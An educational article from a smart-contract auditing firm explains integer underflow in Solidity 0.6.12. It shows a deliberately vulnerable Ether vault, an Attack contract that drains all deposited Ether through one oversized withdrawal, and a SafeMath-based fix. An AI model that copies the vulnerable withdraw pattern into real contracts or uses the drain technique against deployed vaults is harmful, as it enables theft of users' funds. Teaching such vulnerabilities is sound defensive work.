Contents

Solidity Smart Contract Security By Example #01: Integer Underflow


Originally published in Valix Consulting’s medium.

Smart contract security is one of the biggest impediments toward the mass adoption of the blockchain. For this reason, we are proud to present this series of articles regarding Solidity smart contract security to educate and improve the knowledge in this domain to the public.

Integer underflow, one of the most commonly known issues in the smart contract security field, will be explained in this article. Enjoy reading. 😊

You can find all related source code at 👉 https://github.com/serial-coder/solidity-security-by-example/tree/main/01_integer_underflow.

Disclaimer:

The smart contracts in this article are used to demonstrate vulnerability issues only. Some contracts are vulnerable, some are simplified for minimal, some contain malicious code. Hence, do not use the source code in this article in your production.

Nonetheless, feel free to contact Valix Consulting for your smart contract consulting and auditing services. 🕵


Table of Contents


.    .    .

The Dependency


The following is the ReentrancyGuard abstract contract required by the InsecureEtherVault and FixedEtherVault contracts.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
pragma solidity 0.6.12;

abstract contract ReentrancyGuard {
    bool internal locked;

    modifier noReentrant() {
        require(!locked, "No re-entrancy");
        locked = true;
        _;
        locked = false;
    }
}
Dependencies.sol


The ReentrancyGuard contains the noReentrant modifier that is used to prevent reentrancy attacks. We will explain the reentrancy attacks in the upcoming articles of this series. Stay tuned! 🤳


.    .    .

The Vulnerability


The below shows the InsecureEtherVault contract, providing a simple vault in which users can deposit Ethers, withdraw Ethers, and check their balances.

Surely, the InsecureEtherVault contract is vulnerable to integer underflow. But, could you ever capture the issue? 👀

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
pragma solidity 0.6.12;

import "./Dependencies.sol";

contract InsecureEtherVault is ReentrancyGuard {
    mapping (address => uint256) private userBalances;

    function deposit() external payable {
        userBalances[msg.sender] += msg.value;
    }

    function withdraw(uint256 _amount) external noReentrant {
        uint256 balance = getUserBalance(msg.sender);
        require(balance - _amount >= 0, "Insufficient balance");

        userBalances[msg.sender] -= _amount;
        
        (bool success, ) = msg.sender.call{value: _amount}("");
        require(success, "Failed to send Ether");
    }

    function getEtherBalance() external view returns (uint256) {
        return address(this).balance;
    }

    function getUserBalance(address _user) public view returns (uint256) {
        return userBalances[_user];
    }
}
InsecureEtherVault.sol


The integer underflow occurs in lines 14 and 16 in the withdraw function.

Imagine if the attacker’s balance is 5, but he passes the _amount of 10 into the function. What would happen?

Figure 1. How the underflow occurs

Figure 1. How the underflow occurs


Figure 1 pictures how the underflow occurs. In the case of 5 - 10, the computed value would circle forward to 2²⁵⁶ - 5, as you can see.

Gotcha! 🙀 That is why the require(balance — _amount >= 0, “Insufficient balance”); statement would be bypassed since the balance — _amount would result in the underflow, making the computed value ≥ 0.

Consequently, the attacker can drain all Ethers locked in the contract with a single withdrawal transaction.

Possible Attacks

  1. Attacker balance manipulation

  2. Draining all Ethers in a single transaction


.    .    .

The Attack


 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
pragma solidity 0.6.12;

interface IEtherVault {
    function withdraw(uint256 _amount) external;
    function getEtherBalance() external view returns (uint256);
}

contract Attack {
    IEtherVault public immutable etherVault;

    constructor(IEtherVault _etherVault) public {
        etherVault = _etherVault;
    }

    receive() external payable {}

    function attack() external {
        etherVault.withdraw(etherVault.getEtherBalance());
    }

    function getEtherBalance() external view returns (uint256) {
        return address(this).balance;
    }
}
Attack.sol


The above code is the Attack contract in which an attacker can drain all Ethers locked in the InsecureEtherVault contract by invoking the Attack.attack() function.

Intriguingly 👽, the attacker can steal all locked Ethers without depositing any penny to the InsecureEtherVault contract. The attack was made in favor of the underflow issue.

Actually, the attacker does not need to deploy any contract to attack the InsecureEtherVault because they can directly call InsecureEtherVault.withdraw(InsecureEtherVault.getEtherBalance()) right away.


Figure 2. The attack result

Figure 2. The attack result


The result of the attack is shown in Figure 2. As you can see, the attacker stole 45 Ethers (10 and 35 Ethers were deposited by User1 and User2, respectively) from the InsecureEtherVault contract. 🤑

Regarding the result of the underflow, the Attack contract’s balance recorded by the InsecureEtherVault contract was manipulated enormously. 😈


.    .    .

The Solutions


There are two preventive solutions to fix the underflow issue. 👨‍🔧

  1. Applying the standard OpenZeppelin’s SafeMath library for arithmetic operations (for the Solidity below v0.8)

  2. Using the Solidity v0.8+ (Solidity v0.8+ came up with the built-in underflow and overflow detection mechanism on arithmetic operations)


 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
pragma solidity 0.6.12;

import "./Dependencies.sol";

// Simplified SafeMath
library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= a, "SafeMath: subtraction overflow");
        uint256 c = a - b;

        return c;
    }
}

contract FixedEtherVault is ReentrancyGuard {
    using SafeMath for uint256;

    mapping (address => uint256) private userBalances;

    function deposit() external payable {
        userBalances[msg.sender] = userBalances[msg.sender].add(msg.value);  // FIX: Apply SafeMath
    }

    function withdraw(uint256 _amount) external noReentrant {
        uint256 balance = getUserBalance(msg.sender);
        require(balance.sub(_amount) >= 0, "Insufficient balance");  // FIX: Apply SafeMath

        userBalances[msg.sender] = userBalances[msg.sender].sub(_amount);  // FIX: Apply SafeMath
        
        (bool success, ) = msg.sender.call{value: _amount}("");
        require(success, "Failed to send Ether");
    }

    function getEtherBalance() external view returns (uint256) {
        return address(this).balance;
    }

    function getUserBalance(address _user) public view returns (uint256) {
        return userBalances[_user];
    }
}
FixedEtherVault.sol


The FixedEtherVault contract above is the fixed version of the InsecureEtherVault. The contract applies the SafeMath library to prevent any underflow or overflow issues in lines 28, 33, and 35.

Nevertheless, the library used in the code is just a simplified version for brevity’s sake. Please refer to this link for the latest OpenZeppelin’s SafeMath library.


.    .    .

Summary


In this article, you have learned the integer underflow vulnerability in the smart contract, how an attacker exploits it, and how to fix it. We hope you find this article useful. And, see you in the following articles.

Again, you can find all related source code at 👉 https://github.com/serial-coder/solidity-security-by-example/tree/main/01_integer_underflow.


.    .    .

Author Details


Phuwanai Thummavet (serial-coder), Lead Blockchain Security Auditor and Consultant | Blockchain Architect and Developer.

See the author’s profile.


.    .    .

About Valix Consulting



Valix Consulting is a blockchain and smart contract security firm offering a wide range of cybersecurity consulting services. Our specialists, combined with technical expertise with industry knowledge and support staff, strive to deliver consistently superior quality services.

For any business inquiries, please get in touch with us via Twitter, Facebook, or info@valix.io.


.    .    .

Originally published in Valix Consulting’s medium.